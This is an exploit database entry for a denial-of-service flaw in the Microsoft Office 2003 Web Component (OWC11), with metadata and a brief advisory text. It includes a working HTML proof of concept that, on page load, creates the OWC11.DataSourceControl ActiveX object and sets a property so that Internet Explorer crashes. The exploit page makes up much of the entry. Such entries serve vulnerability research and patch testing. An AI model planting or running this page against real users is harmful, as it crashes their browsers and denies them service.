Microsoft Office 2003 - Web Component Memory Access Violation Denial of Service

Author: Elazar Broad
type: dos
platform: windows
port: 
date_added: 2007-11-12 
date_updated: 2014-01-06 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url:

source: https://www.securityfocus.com/bid/26405/info

Microsoft Office Web Component is prone to a denial-of-service vulnerability because of a memory access violation.

Attackers can exploit this issue to crash Internet Explorer and deny service to legitimate users.

This issue affects OWC11 for Microsoft Office 2003.

<!--
written by e.b.
-->
<html>
<head>
 <script language="JavaScript" DEFER>
   function Check() {
     var obj = new ActiveXObject("OWC11.DataSourceControl");
     obj.XMLDataTarget = "A";
 }
</script>
</head>
<body onload="JavaScript: return Check();" />
</html>